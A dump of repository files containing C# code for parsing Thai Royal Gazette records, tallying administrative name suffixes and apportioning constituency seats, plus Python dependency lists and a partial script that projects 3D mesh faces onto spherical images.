if ( !String.IsNullOrEmpty(lParentName) )
{
if ( lName.StartsWith(lParentName) )
{
String lSuffix = lName.Remove(0, lParentName.Length).Trim();
if ( mNewNameSuffix.ContainsKey(lSuffix) )
{
mNewNameSuffix[lSuffix]++;
}
else
{
mNewNameSuffix.Add(lSuffix, 1);
}
}
if ( lName.EndsWith(lParentName) )
{
String lPrefix = lName.Replace(lParentName, "").Trim();
if ( mNewNamePrefix.ContainsKey(lPrefix) )
{
mNewNamePrefix[lPrefix]++;
}
else
{
mNewNamePrefix.Add(lPrefix, 1);
}
}
}
else
{
mCreationsWithoutParentName++;
}
}
}
protected override void ProcessContent(RoyalGazetteContent iContent)
{
base.ProcessContent(iContent);
RoyalGazetteContentCreate lCreate = (RoyalGazetteContentCreate)iContent;
Int32 lMubanNumber = lCreate.Geocode % 100;
if ( lMubanNumber != lCreate.Geocode )
{
mHighestMubanNumber.IncrementForCount(lMubanNumber, lCreate.Geocode);
}
ProcessContentForName(lCreate);
}
protected Int32 SuffixFrequency(String iSuffix)
{
Int32 retval = 0;
if ( mNewNameSuffix.ContainsKey(iSuffix) )
{
retval = mNewNameSuffix[iSuffix];
}
return retval;
}
protected Int32 PrefixFrequency(String iSuffix)
{
Int32 retval = 0;
if ( mNewNamePrefix.ContainsKey(iSuffix) )
{
retval = mNewNamePrefix[iSuffix];
}
return retval;
}
protected Int32 SuffixFrequencyNumbers()
{
Int32 retval = 0;
foreach ( KeyValuePair<String, Int32> lKeyValue in mNewNameSuffix )
{
String lName = TambonHelper.ReplaceThaiNumerals(lKeyValue.Key);
if ( (!String.IsNullOrEmpty(lName)) && (TambonHelper.IsNumeric(lName)) )
{
retval = retval + lKeyValue.Value;
}
}
return retval;
}
public override String Information()
{
StringBuilder lBuilder = new StringBuilder();
AppendBasicInfo(lBuilder);
AppendProblems(lBuilder);
AppendChangwatInfo(lBuilder);
AppendMubanNumberInfo(lBuilder);
AppendParentFrequencyInfo(lBuilder, "Tambon");
AppendChangwatInfo(lBuilder);
AppendDayOfYearInfo(lBuilder);
AppendNameInfo(lBuilder);
String retval = lBuilder.ToString();
return retval;
}
private void AppendProblems(StringBuilder iBuilder)
{
if ( mCreationsWithoutParentName > 0 )
{
iBuilder.AppendLine(mCreationsWithoutParentName.ToString() + " have no parent name");
}
}
private void AppendMubanNumberInfo(StringBuilder iBuilder)
{
iBuilder.AppendLine("Highest number of muban: " + mHighestMubanNumber.MaxValue.ToString());
if ( mHighestMubanNumber.MaxValue > 0 )
{
foreach ( Int32 lGeocode in mHighestMubanNumber.Data[mHighestMubanNumber.MaxValue] )
{
iBuilder.Append(lGeocode.ToString() + ' ');
}
}
iBuilder.AppendLine();
}
private void AppendNameInfo(StringBuilder iBuilder)
{
iBuilder.AppendLine("Name equal: " + SuffixFrequency(String.Empty).ToString() + " times");
List<String> lStandardSuffices = new List<String>() { "เหนือ", "ใต้", "พัฒนา", "ใหม่", "ทอง", "น้อย", "ใน" };
foreach ( String lSuffix in lStandardSuffices )
{
iBuilder.AppendLine("Suffix " + lSuffix + ": " + SuffixFrequency(lSuffix).ToString() + " times");
}
iBuilder.AppendLine("Suffix with number:" + SuffixFrequencyNumbers().ToString() + " times");
List<String> lStandardPrefixes = new List<String>() { "ใหม่" };
foreach ( String lPrefix in lStandardPrefixes )
{
iBuilder.AppendLine("Prefix " + lPrefix + ": " + PrefixFrequency(lPrefix).ToString() + " times");
}
iBuilder.AppendLine();
iBuilder.Append("Other suffices: ");
List<KeyValuePair<String, Int32>> lSortedSuffices = new List<KeyValuePair<String, Int32>>();
foreach ( KeyValuePair<String, Int32> lKeyValuePair in mNewNameSuffix )
{
String lName = TambonHelper.ReplaceThaiNumerals(lKeyValuePair.Key);
if ( lStandardSuffices.Contains(lName) )
{
}
else if ( String.IsNullOrEmpty(lKeyValuePair.Key) )
{
}
else if ( TambonHelper.IsNumeric(lName) )
{
}
else
{
lSortedSuffices.Add(lKeyValuePair);
}
}
lSortedSuffices.Sort(delegate(KeyValuePair<String, Int32> x, KeyValuePair<String, Int32> y)
{
return y.Value.CompareTo(x.Value);
});
foreach ( KeyValuePair<String, Int32> lKeyValuePair in lSortedSuffices )
{
iBuilder.Append(lKeyValuePair.Key + " (" + lKeyValuePair.Value.ToString() + ") ");
}
iBuilder.AppendLine();
}
#endregion methods
}
}<file_sep>/AHTambon/RoyalGazetteContentAreaDefinition.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
class RoyalGazetteContentAreaDefinition : RoyalGazetteContent
{
internal const String XmlLabel = "areadefinition";
#region properties
public Int32 NumberOfSubdivision { get; set; }
#endregion
#region methods
protected override String GetXmlLabel()
{
return XmlLabel;
}
internal override void DoLoad(XmlNode node)
{
base.DoLoad(node);
if ( node != null && node.Name.Equals(XmlLabel) )
{
String SubdivisionsString = TambonHelper.GetAttributeOptionalString(node, "subdivisions");
if ( !String.IsNullOrEmpty(SubdivisionsString) )
{
NumberOfSubdivision = Convert.ToInt32(SubdivisionsString);
}
}
}
protected override void DoCopy(RoyalGazetteContent other)
{
if ( other != null )
{
base.DoCopy(other);
if ( other is RoyalGazetteContentAreaDefinition )
{
RoyalGazetteContentAreaDefinition iOtherArea = (RoyalGazetteContentAreaDefinition)other;
NumberOfSubdivision = iOtherArea.NumberOfSubdivision;
}
}
}
override protected void WriteToXmlElement(XmlElement element)
{
base.WriteToXmlElement(element);
if ( NumberOfSubdivision != 0 )
{
element.SetAttribute("subdivisions", NumberOfSubdivision.ToString());
}
}
#endregion
}
}
<file_sep>/AHTambon/RoyalGazetteContentAreaChange.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
class RoyalGazetteContentAreaChange:RoyalGazetteContent
{
internal const String XmlLabel = "areachange";
#region properties
public Single Area { get; set; }
#endregion
#region methods
protected override String GetXmlLabel()
{
return XmlLabel;
}
internal override void DoLoad(XmlNode iNode)
{
base.DoLoad(iNode);
if (iNode != null && iNode.Name.Equals(XmlLabel))
{
String AreaString = TambonHelper.GetAttributeOptionalString(iNode, "newarea");
if (!String.IsNullOrEmpty(AreaString))
{
Area = Convert.ToSingle(AreaString);
}
}
}
protected override void DoCopy(RoyalGazetteContent iOther)
{
if (iOther != null)
{
base.DoCopy(iOther);
if (iOther is RoyalGazetteContentAreaChange)
{
RoyalGazetteContentAreaChange iOtherArea = (RoyalGazetteContentAreaChange)iOther;
Area = iOtherArea.Area;
}
}
}
override protected void WriteToXmlElement(XmlElement iElement)
{
base.WriteToXmlElement(iElement);
if (Area != 0)
{
iElement.SetAttribute("newarea", Area.ToString());
}
}
#endregion
}
}
<file_sep>/GeoTool/GeoDataGlobals.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using De.AHoerstemeier.Geo;
using System.Configuration;
namespace De.AHoerstemeier.GeoTool
{
public class GeoDataGlobals
{
public GeoPoint DefaultLocation
{
get;
private set;
}
public String BingMapsKey
{
get;
private set;
}
private GeoDataGlobals()
{
DefaultLocation = new GeoPoint();
// DefaultLocation.GeoHash = "9f2w1p8zf"; // Bangkok City Hall
}
/// <summary>
/// Instance of this singleton.
/// </summary>
private static GeoDataGlobals _instance = null;
/// <summary>
/// Lock to protect the instance during creation.
/// </summary>
private static Object _syncRoot = new Object();
/// <summary>
/// Gets the instance of this singleton.
/// </summary>
/// <value>Instance of the singleton.</value>
public static GeoDataGlobals Instance
{
get
{
if ( _instance == null )
{
lock ( _syncRoot )
{
if ( _instance == null )
_instance = GeoDataGlobals.Load();
}
}
return _instance;
}
}
private static GeoDataGlobals Load()
{
GeoDataGlobals retVal = null; // Don't initialize here, it will be set up with a default in case all other methods fail!
AppSettingsReader reader = new AppSettingsReader();
retVal = new GeoDataGlobals();
try
{
retVal.BingMapsKey = (String)reader.GetValue("BingMapsKey", typeof(String));
}
catch ( InvalidOperationException )
{
}
try
{
retVal.DefaultLocation = new GeoPoint((String)reader.GetValue("DefaultLocation", typeof(String)));
}
catch ( InvalidOperationException )
{
}
catch ( ArgumentException )
{
}
return retVal;
}
}
}
<file_sep>/AHTambon/ConstituencyCalculator.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class ConstituencyCalculator
{
#region constructor
public ConstituencyCalculator()
{ }
#endregion
#region methods
public static Dictionary<PopulationDataEntry, Int32> Calculate(Int32 parentGeocode, Int32 year, Int32 numberOfSeats)
{
Dictionary<PopulationDataEntry, Int32> retval = null;
PopulationData downloader = new PopulationData(year, parentGeocode);
downloader.Process();
retval = Calculate(downloader.Data, year, numberOfSeats);
return retval;
}
public static Dictionary<PopulationDataEntry, Int32> Calculate(PopulationDataEntry data, Int32 year, Int32 numberOfSeats)
{
Dictionary<PopulationDataEntry, Int32> result = new Dictionary<PopulationDataEntry, Int32>();
Int32 totalPopulation = 0;
foreach (PopulationDataEntry entry in data.SubEntities)
{
if (entry != null)
{
result.Add(entry, 0);
totalPopulation += entry.Total;
}
}
double divisor = (1.0*numberOfSeats) / (1.0*totalPopulation);
Int32 remainingSeat = numberOfSeats;
Dictionary<PopulationDataEntry, double> remainder = new Dictionary<PopulationDataEntry, double>();
foreach (PopulationDataEntry entry in data.SubEntities)
{
if (entry != null)
{
double seats = entry.Total * divisor;
Int32 actualSeats = Math.Max(1, Convert.ToInt32(Math.Truncate(seats)));
result[entry] = actualSeats;
remainingSeat -= actualSeats;
double remainingValue = seats - actualSeats;
remainder.Add(entry, remainingValue);
}
}
List<PopulationDataEntry> sortedRemainders = new List<PopulationDataEntry>();
foreach (PopulationDataEntry entry in data.SubEntities)
{
if (entry != null)
{
sortedRemainders.Add(entry);
}
}
sortedRemainders.Sort(delegate(PopulationDataEntry p1, PopulationDataEntry p2) { return remainder[p2].CompareTo(remainder[p1]); });
while (remainingSeat > 0)
{
PopulationDataEntry first = sortedRemainders.First();
result[first] += 1;
remainingSeat -= 1;
sortedRemainders.Remove(first);
}
return result;
}
#endregion
}
}
| 7031ddbc62150ca748c4f336d1635aafa046895d | [
"C#"
] | 147 | C# | Ahoerstemeier/tambon | b5dfcce813efdb37169e73332180c5ca7670a080 | 335c7fe92d0e47bcd7a42fddf060b82e97c8f515 |
refs/heads/master | <file_sep>Website-TAWS
============
<file_sep>
var lis = document.querySelectorAll('#main_nav li');
var mermbers_lis = document.querySelectorAll('#member-list li');
$(function () {
var msie6 = $.browser == 'msie' && $.browser.version < 7;
if (!msie6) {
var top = $('#page_two').offset().top - parseFloat($('#page_two').css('margin-top').replace(/auto/, 0));
$(window).scroll(function (event) {
var y = $(this).scrollTop();
if (y >= top) {
$("#logo").fadeIn("fast");
} else {
$("#logo").fadeOut("fast");
}
});
}
});
$(function(){
var pull = $('#pull');
var menu = $('#main_nav ul');
var menuHeight = menu.height();
$(pull).on('click', function(e){
e.preventDefault();
menu.slideToggle();
});
$(window).resize(function(){
var w = $(window).width();
});
});
function init(){
for(var a=0; a<mermbers_lis.length; a++){
mermbers_lis[a].style.fontWeight = "normal";
}
lis[0].setAttribute('id','inicio');
lis[0].addEventListener('click',function(){
moveVerticalTo(position('page_one'),1000);
this.setAttribute('id','inicio');
for(var i=0; i<lis.length; i++){
if(lis[i] != this){
lis[i].setAttribute('id');
}
}
},false);
lis[1].addEventListener('click',function(){
moveVerticalTo(position('page_two'),1000);
this.setAttribute('id','quienes');
for(var i=0; i<lis.length; i++){
if(lis[i] != this){
lis[i].setAttribute('id');
}
}
},false);
lis[2].addEventListener('click',function(){
moveVerticalTo(position('page_tree'),1000);
this.setAttribute('id','miembros');
for(var i=0; i<lis.length; i++){
if(lis[i] != this){
lis[i].setAttribute('id');
}
}
},false);
lis[3].addEventListener('click',function(){
moveVerticalTo(position('page_four'),1000);
this.setAttribute('id','investigacion');
for(var i=0; i<lis.length; i++){
if(lis[i] != this){
lis[i].setAttribute('id');
}
}
},false);
lis[4].addEventListener('click',function(){
moveVerticalTo(position('page_five'),1000);
this.setAttribute('id','contacto');
for(var i=0; i<lis.length; i++){
if(lis[i] != this){
lis[i].setAttribute('id');
}
}
},false);
}
function moveVerticalTo(pos,velocidad){
$('html, body').animate({scrollTop: pos}, velocidad);
}
function position(elem){
var offset = $('#'+elem).offset();
return(offset.top);
}
function moveToRight(elem){
$(elem).animate({"right": "100%"},1000,"linear");
}
function moveToLeft(elem){
$(elem).animate({"right": "-100%"},1000,"linear");
}
function alertar(){
alert('Gracias, te informaremos al respecto.');
}
window.onload = init; | e8361a0399fddd3ca04c94b42ed3e1f70b0f516e | [
"Markdown",
"JavaScript"
] | 2 | Markdown | jplaza/Website-TAWS | 8eab4abdf0a93b4499e863e0bf9000ba1172d6b6 | 2db3476ad215fce8aaa6b5913157746b2ca3e633 |
refs/heads/master | <file_sep>\name{lcms}
\docType{data}
\alias{lcms}
\alias{time}
\alias{mz}
\alias{lcms.pks}
\title{Parts of 3 proteomic LC-MS samples}
\description{
The \code{lcms} data consists of a 100 x 2000 x 3 array \code{lcms}, a
vector \code{time} of length 2000 and a vector \code{mz} of length 100. The
LC-MS data in the array are a subset of a larger set measured on a
tryptic digest of E. coli proteins. Peak picking leads to the object
ldms.pks (see example section).
}
\usage{
data(lcms)
}
\source{Nijmegen Proteomics Facility, Department of Laboratory Medicine,
Radboud University Nijmegen Medical Centre}
\references{
<NAME>., et al. (2010)
"Improved parametric time warping for Proteomics", Chemometrics and
Intelligent Laboratory Systems, \bold{104} (1), 65 -- 74.
}
\examples{
## the lcms.pks object is generated in the following way:
\dontrun{
data(lcms)
pick.peaks <- function(x, span) {
span.width <- span * 2 + 1
loc.max <- span.width + 1 -
apply(embed(x, span.width), 1, which.max)
loc.max[loc.max == 1 | loc.max == span.width] <- NA
pks <- loc.max + 0:(length(loc.max)-1)
pks <- pks[!is.na(pks)]
pks.tab <- table(pks)
pks.id <- as.numeric(names(pks.tab)[pks.tab > span])
cbind(rt = pks.id, I = x[pks.id])
}
## bring all samples to the same scale, copied from ptw man page
lcms.scaled <- aperm(apply(lcms, c(1,3),
function(x) x/mean(x) ), c(2,1,3))
lcms.s.z <- aperm(apply(lcms.scaled, c(1,3),
function(x) padzeros(x, 250) ), c(2,1,3))
lcms.pks <- lapply(1:3,
function(ii) {
lapply(1:nrow(lcms.s.z[,,ii]),
function(jj)
cbind("mz" = jj,
pick.peaks(lcms.s.z[jj,,ii], 5)))
})
}}
\keyword{datasets}
<file_sep>ptw
===
Parametric Time Warping
| b51a9e5c2cdcca56d0bc78519f80ca1fe99c67f4 | [
"Markdown",
"R"
] | 2 | R | khawkhaa/ptw | 0cd70fbea399e4f67778830cefd7257ea8a2d0b3 | 4a489e137628d065a29c33dae25eeb5b86023747 |
refs/heads/master | <repo_name>OlgaHa/Domaski<file_sep>/ScannerAndArrays.java
package bootcamp;
import java.util.Scanner;
import java.util.Arrays;
public class ScannerAndArrays {
// HW: User inputs array length
// user adds element value
// array values are printed to console
// create methods for printing out arrays values
// for loop
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int inputedArrayLength;
int inputNumber = 0;
System.out.println("Input array length: ");
inputedArrayLength = sc.nextInt();
int[] arr = new int[inputedArrayLength];
for (int i = 0; i < arr.length; i++) {
System.out.println("Input value: ");
arr[i] = sc.nextInt();
}
printoutValues(arr);
}
public static void printoutValues(int[] arr) {
for (int i = 0; i < arr.length; i++) {
System.out.print(arr[i] + " ");
}
}
}
<file_sep>/users/TestPerson.java
package bootcamp.users;
import java.util.Arrays;
import bootcamp.users.people.Student;
import bootcamp.users.people.Teacher;
public class TestPerson {
public static void main(String[] args) {
String[] strArr = new String[12];
strArr[0] = "Sport";
strArr[1] = "Math";
System.out.println(strArr[0]+", "+strArr[1]);
Teacher teacher1 = new Teacher("Toms","Riga");
System.out.println(teacher1.toString());
teacher1.addCourse("Sport");
teacher1.addCourse("Math");
teacher1.addCourse("History");
System.out.println(Arrays.toString(teacher1.getCourses())); //вывод всех курсов
System.out.println(teacher1.addCourses("Astronomy"));//проверка, есть ли Astronomy с помощью метода addCourses и вывод true или false
System.out.println(Arrays.toString(teacher1.getCourses())); //вывод всех курсов, должно добавиться Astronomy
System.out.println(teacher1.removeCourses("Math"));//проверка, есть ли Math с помощью метода removeCourses и вывод true или false
System.out.println(Arrays.toString(teacher1.getCourses())); //вывод всех курсов, должно удалиться "Math" и замениться на deleted
//For-each loops
// for(String course : courses){
// teacher1.addCourse(course);
// }
//
Student student1 = new Student("Leo", "London");
student1.addCourseGrade("Math", 8);
student1.addCourseGrade("Biology", 6);
student1.addCourseGrade("History", 7);
student1.addCourseGrade("Music", 9);
student1.addCourseGrade("Sport", 5);
student1.printGrades();
System.out.println(); //пробел
System.out.println(student1.getAverageGrade());
}
}
<file_sep>/game/GameTest333.java
import java.util.Scanner;
public class GameTest {
String q1 = "What was Java originally called?\r\n" +
"a.) Oak\r\n" +
"b.) Spruce\r\n" +
"c.) Latte\r\n" +
"d.) Chai\r\n";
String q2 = "How many platforms does Java have?\r\n" +
"a.) One\r\n" +
"b.) Three\r\n" +
"c.) Four\r\n" +
"d.) Seven\r\n";
String q3 = "Choose the best definition for a Class: \n"
+ "A. An action for a program. \n"
+ "B. An object definition, containing the data and function elements necessary to create an object. \n"
+ "C. A group of students in a class. \r\n";
String q4 = "Given the declaration: int [ ] arr = {1,2,3,4,5}; What is the value of arr[3]? \n"
+ "A. 3 \n"
+ "B. 4 \n"
+ "C. 5 \r\n";
String q5 = "Choose the best definition of an object. \n"
+ "A. A thing. \n"
+ "B. Something you wear. \n"
+ "C. An instance of a class. \r\n";
String q6 = "What is the proper way to declare a variable? \n"
+ "A. VariableName; \n"
+ "B. VariableType variableName; \n"
+ "C. VariableName variableType; \r\n";
String q7 = "What is a loop? \n"
+ "A. A segment of code to be run infinite times. \n"
+ "B. A segment of code to be run once. \n"
+ "C. A segment of code to be run a specified amount of times. \r\n";
String q8 = "If classes Student, Staff and Faculty extend class Person, which one makes sense: \n"
+ "A. Person[] persons={new Faculty(), new Staff(), new Student()}; \n"
+ "B. Faculty[] faculties={new Person(), new Faculty(), new Student()}; \n"
+ "C. Staff[] staff={new Person(), new Staff(), new Student()}; \n";
String q9 = "Which one needs a web page to run? \n"
+ "A. A Java Application \n"
+ "B. A Java Stand-Alone Application \n"
+ "C. A Java Applet \n";
String q10 = "What is the main function of any variable ? \n"
+ "A. To keep track of data in the memory of the computer \n"
+ "B. To print words on the screen \n"
+ "C. To add numbers together \n";
////Explanations
String exp1 = "The earliest version of Java was known as Oak. This was inspired by a big oak tree that \r\n"
+ "grew outside the window of the lead creator of Java, "
+ "<NAME>. It was later changed to Java by Sun’s marketing department when Sun lawyers found that there was already "
+ "a computer company registered as Oak.";
String exp2 = "Java has 4 platforms: JavaStandard Edition, JavaEnterprise Edition, JavaMicro Edition, and JavaFX.";
String exp3 = "Classes and Objects are basic concepts of Object Oriented Programming which revolve around the real life entities.\n"
+ "A class is a user defined blueprint or prototype from which objects are created. \n"
+ "It represents the set of properties or methods that are common to all objects of one type.";
String exp4 = "Because in Java elements start counting from 0. Element [0] is \"1\", so element [3] is \"4\".";
String exp5 = "It is a basic unit of Object Oriented Programming and represents the real life entities. \n"
+ "A typical Java program creates many objects, which as you know, interact by invoking methods.";
String exp6 = "We can declare variables in java as follows: type: Type of data that can be stored in this variable.\n"
+ " name: Name given to the variable.";
String exp7 = "Looping in programming languages is a feature which facilitates the execution of a set of instructions/functions repeatedly \n"
+ " while some condition evaluates to true. Java provides three ways for executing the loops. \n"
+ "While all the ways provide similar basic functionality, they differ in their syntax and condition checking time. ";
Questions [] question = {
new Questions (q1, "a", exp1),
new Questions (q2, "c", exp2),
new Questions (q3, "b", exp3),
new Questions (q4, "b", exp4),
new Questions (q5, "c", exp5),
new Questions (q6, "b", exp6),
new Questions (q7, "c", exp7),
new Questions (q8, "a", null),
new Questions (q9, "c", null),
new Questions (q10, "a", null),
};
public static void main(String[] args) {
Scanner inputHello = new Scanner(System.in);
System.out.println("Hi! Do you want to play Java Trivia? (Answer Y/N)");
String answerYN = inputHello.nextLine();
if (answerYN.equalsIgnoreCase("Y")) {
System.out.println("Great! Let's play!");
} else if (answerYN.equalsIgnoreCase("N")) {
System.out.println("Have a nice day!");
} else {
System.out.println("Please, answe with Y or N.");
}
GameTest game = new GameTest();
game.wantsToRepeat();
}
public void askQuestion(String question) {
System.out.println(question);
}
public boolean checkAnswer(String userAnswer, String correctAnswer) {
if (userAnswer.equalsIgnoreCase(correctAnswer)) {
System.out.println("Great job! You earned 1 point");
return true;
} else {
System.out.println("Sorry, the answer is: " + correctAnswer);
return false;
}
}
public int countScore(int score) {
score++;
return score;
}
public boolean doesWantToQuit(int score) {
System.out.println("Do you want to quit game? Y/N");
Scanner ifwantsQuitInp = new Scanner(System.in);
String ifwantsQuit = ifwantsQuitInp.nextLine();
if (ifwantsQuit.equalsIgnoreCase("y")) {
System.out.println("Thank you! Game is over" + " your score is " + score);
printScore(score);
return true;
} else {
return false;
}
}
public boolean doesWantToRepeat() {
System.out.println("Do you want to repeat game? Y/N");
Scanner ifwantsRepeatInp = new Scanner(System.in);
String ifwantsRepeat = ifwantsRepeatInp.nextLine();
if (ifwantsRepeat.equalsIgnoreCase("y")) {
return true;
} else {
return false;
}
}
public void askNextQuestion(Questions[] question) {
int score = 0;
for (int i = 0; i < question.length; i++) {
askQuestion(question[i].prompt);
Scanner inputuserInput = new Scanner(System.in);
String userAnswer = inputuserInput.nextLine();
if (!userAnswer.equalsIgnoreCase("a") && !userAnswer.equalsIgnoreCase("b") && !userAnswer.equalsIgnoreCase("c") && !userAnswer.equalsIgnoreCase("d") && !userAnswer.equalsIgnoreCase("e")) {
System.out.println("Please, check your answer");
i--;
}
else {
if (checkAnswer(userAnswer, question[i].answer) == true) {
score = countScore(score);
printScore(score);
}
if (doesWantToQuit(score) == true) {
break;
}
}
}
}
public void wantsToRepeat() {
boolean wantstoRpeat = true;
while(wantstoRpeat == true) {
askNextQuestion(question);
wantstoRpeat = doesWantToRepeat();
}
}
public void printScore(int score) {
if (score <= 3) {
System.out.println("You’re just a Java beginner. Time to hit the books and do a bit more studying.");
} else if (score > 3 && score <= 5) {
System.out.println(
"You’re pretty solid in your Java history, but it might behoove you to pay a little more attention to the details.");
}
else if (score > 5 && score <= 7) {
System.out.println("Nice! You know your stuff!");
} else if (score > 7) {
System.out.println("You are a Java master.");
}
}
}
<file_sep>/Random.java
package bootcamp;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Scanner;
public class Random {
public static void main(String[] args) {
String [] myteams; //a team member array in the given order
myteams = setNamestoArray();
System.out.println(Arrays.toString(myteams));
String [] rand; // upcoming randomized array
rand = assighToGroups(myteams);
Arrays.toString(rand);
System.out.println("team1: "+ rand[0] + ", " +rand[1]+ ", " +rand[2]);
System.out.println("team2: "+ rand[3]+ ", "+rand[4]+ ", " +rand[5]);
System.out.println("team3: "+ rand[6]+ ", "+rand[7]+ ", " +rand[8]);
System.out.println("team4: "+ rand[9]+ ", "+rand[10]+ ", " +rand[11]);
System.out.println("team5: "+ rand[12]+ ", "+rand[13]+ ", " +rand[14]);
System.out.println("team6: "+ rand[15]+ ", "+rand[16] + ", "+rand[17]);
}
public static String [] setNamestoArray() {//a method to get names from input
Scanner sc = new Scanner(System.in);
String [] teamMembers = new String[18];
for (int i = 0; i <teamMembers.length; i++) {//asks a name and adds to the teamMembers array
System.out.println("Input a name: ");
teamMembers[i] = sc.nextLine();
}
return teamMembers;
}
public static String [] assighToGroups(String [] myteams) {//a method to randomize given names
String [] randomized = new String[18];
for (int m=0; m < myteams.length; m++) {//my teams members in the original order
for ( int r = 0; r < myteams.length; r = (int) (Math.random()*18)) {//loop to assign randomized numbers (r = one of 17!!)
if (randomized[r] == null) { //a check if the index int of the filled array is free
randomized[r] = myteams [m]; //if free --> assign a new number to the randomized
break; //rewrites eternally, if not stopped
}
}
}
return randomized;
}
}
// String [][] numberOfTeams = new String [6][3];
//
// System.out.println("Input a name: ");
// inputName = sc.nextLine();
//
//
// for (int i = 0; i < numberOfTeams.length; i++) {
// for (int j = 0; j < numberOfTeams [i].length; j++) {
// i = (int) Math.random() * 6;
// j = (int) Math.random() * 3;
// numberOfTeams[i][j] = inputName;
//
// }
//
// }
// System.out.println(numberOfTeams);
//
// }
//
//}
//
//Scanner sc = new Scanner(System.in);
//
//int inputedArrayLength;
//int inputNumber = 0;
//
//System.out.println("Input array length: ");
//inputedArrayLength = sc.nextInt();
//int[] arr = new int[inputedArrayLength];
//
//for (int i = 0; i < arr.length; i++) {
// System.out.println("Input value: ");
// arr[i] = sc.nextInt();
//
//}
//printoutValues(arr);
//}
//
//public static void printoutValues(int[] arr) {
//for (int i = 0; i < arr.length; i++) {
// System.out.print(arr[i] + " ");
//}
//}
//
//}<file_sep>/arrCheck.java
package bootcamp;
import java.util.Arrays;
public class arrCheck {
public static void main(String[] args) {
int[] numbers = { 1, 2, 4, 5 };
int checkNum = 10;
boolean bilLicheckNum = false;
for (int i = 0; i < numbers.length; i++) {
if (numbers[i] == checkNum) {
bilLicheckNum = true;
}
}
if (bilLicheckNum == true) {
System.out.println(8);
} else {
System.out.println("Not found");
}
}
}
<file_sep>/Random2.java
package bootcamp;
import java.util.Scanner;
public class Random2 {
public static void main(String[] args) {
while (true) {
String name;
int groupNumber;
Scanner sc = new Scanner(System.in);
System.out.println("Input name: ");
name = sc.nextLine();
groupNumber = (int) (Math.random()*6);
System.out.println(name + ", "+ "your group number is: "+ groupNumber);
}
}
}
| 5cbda9dc52520db3945e2502bcdf45d5028aee0d | [
"Java"
] | 6 | Java | OlgaHa/Domaski | 62760428b37b5595bbc6fde573a46cb5515714e3 | 7670e1cf3e01426113294a69753915e9405bd7d8 |
refs/heads/master | <repo_name>Sagarl17/Construction_progress_indoor<file_sep>/requirements-cpu.txt
numpy
scipy
laspy
Pillow
cython
shapely
matplotlib
scikit-image
tensorflow==1.14.0
keras==2.0.8
opencv-python
h5py
imgaug
IPython[all]
<file_sep>/requirements-gpu.txt
numpy
scipy
laspy
Pillow
cython
shapely
matplotlib
scikit-image
tensorflow-gpu==1.14.0
keras==2.0.8
opencv-python
h5py
imgaug
IPython[all]
<file_sep>/src/extract.py
import os
import json
import math
import numpy as np
import multiprocessing
from PIL import Image,ImageDraw
from scipy.spatial import ConvexHull
from shapely.geometRotation_matrix_y import Polygon
def truncate(number, digits) -> float:
stepper = 10.0 ** digits
return math.trunc(stepper * number) / stepper #truncate large decimals to desired digits after decimal point
def distance_between_points(f,p):
return math.sqrt(((f[0]-p[0])*(f[0]-p[0]))+((f[1]-p[1])*(f[1]-p[1]))+((f[2]-p[2])*(f[2]-p[2]))) #distance between two points
def lerp(v0, v1, i):
return v0 + i * (v1 - v0) #getting count of equidistant points on faces
def getEquidistantPoints(p1, p2, n):
return [(lerp(p1[0],p2[0],1./n*i), lerp(p1[1],p2[1],1./n*i),lerp(p1[2],p2[2],1./n*i)) for i in range(n+1)] #getting equidistant points on face
def extract_image(face):
new_face=[]
for f in range(len(face)-1):
new_points=getEquidistantPoints(face[f],face[f+1],int(distance_between_points(face[f],face[f+1])//0.1+1))
new_face=new_face+new_points
new_points=getEquidistantPoints(face[0],face[-1],int(distance_between_points(face[0],face[-1])//0.1+1)) #Divide face into multiple smaller pieces
new_face=new_face+new_points
pose_path=os.listdir('pose') #Get path of the poses provided ofr the images
image_path=os.listdir('rgb') #Get path of the spherical images from which the mesh was obtained
distance=10
for pose in pose_path:
if pose.endswith('.json'):
average_distance=0
pose_tracking=json.load(open('pose/'+pose))
position=pose_tracking['camera_location']
position_x,position_y,position_z=float(position[0]),-float(position[1]),float(position[2]) #extract x,y,z values from pose
camera_point=[position_x,position_y,position_z]
for f in face:
average_distance=average_distance+distance_between_points(f,camera_point) #Get nearest point to the boundaries provided
average_distance=average_distance/len(face)
if average_distance<distance:
distance=average_distance
cam_pose=pose_tracking
for img in image_path:
if cam_pose['camera_uuid'] in img:
image=Image.open('rgb/'+img)
position=cam_pose['camera_location']
rotation=cam_pose['final_camera_rotation']
position_x,position_y,position_z=float(position[0]),-float(position[1]),float(position[2])
rotation_x,rotation_y,rotation_z=float(rotation[0])+math.pi,float(rotation[1]),float(rotation[2]) #Extract the rotation angles of the closest image
""" Calculate Rotation matrix for x,y and z """
Rotation_matrix_x=np.array([[1,0,0],[0,math.cos(rotation_x),-math.sin(rotation_x)],[0,math.sin(rotation_x),math.cos(rotation_x)]])
Rotation_matrix_y=np.array([[math.cos(rotation_y),0,math.sin(rotation_y)],[0,1,0],[-math.sin(rotation_y),0,math.cos(rotation_y)]])
Rotation_matrix_z=np.array([[math.cos(rotation_z),-math.sin(rotation_z),0],[math.sin(rotation_z),math.cos(rotation_z),0],[0,0,1]])
Rotation_matrix=np.matmul(np.matmul(Rotation_matrix_x,Rotation_matrix_y),Rotation_matrix_z) #Get final rotation matrix
polygon=[]
for f in range(len(new_face)):
world_coordinates=np.array([[new_face[f][0]-position_x],[new_face[f][1]-position_y],[new_face[f][2]-position_z]]) # obtain world coordinates wrt camera
Rotation_matrix=np.matmul(Rotation_matrix,world_coordinates).tolist() #Multiply rottion matrix and world coordinates
camera_x,camera_y,camera_z=Rotation_matrix[0][0],Rotation_matrix[1][0],Rotation_matrix[2][0] #Extract camera coordinates
sq=math.sqrt((camera_x*camera_x)+(camera_y*camera_y)+(camera_z*camera_z))
camera_x,camera_y,camera_z=camera_x/sq,camera_y/sq,camera_z/sq
phi=math.asin(camera_y) #Calculate phi and theea for spherical image
rotation_x=math.asin(camera_x/math.cos(phi))
rotation_y=math.asin(camera_x/math.cos(math.pi-phi))
""" Verify the spherical maera theta nad phi and convert them to pixel positions """
